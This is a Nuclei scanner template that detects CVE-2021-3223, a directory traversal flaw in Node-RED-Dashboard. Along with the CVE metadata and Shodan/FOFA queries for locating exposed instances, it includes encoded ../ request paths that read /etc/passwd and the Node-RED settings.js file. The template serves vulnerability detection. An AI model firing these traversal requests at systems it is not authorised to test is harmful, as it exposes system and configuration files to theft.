id: CVE-2021-3223 info: name: Node RED Dashboard - Directory Traversal author: gy741,pikpikcu severity: high description: Node-RED-Dashboard before 2.26.2 allows ui_base/js/..%2f directory traversal to read files. reference: - https://github.com/node-red/node-red-dashboard/issues/669 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3223 - https://github.com/node-red/node-red-dashboard/releases/tag/2.26.2 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-3223 cwe-id: CWE-22 metadata: verified: true shodan-query: title:"Node-RED" fofa-query: title="Node-RED" tags: cve,cve2020,node-red-dashboard,lfi requests: - method: GET path: - '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd' - '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2fsettings.js' matchers-condition: or matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: word part: body words: - "Node-RED web server is listening"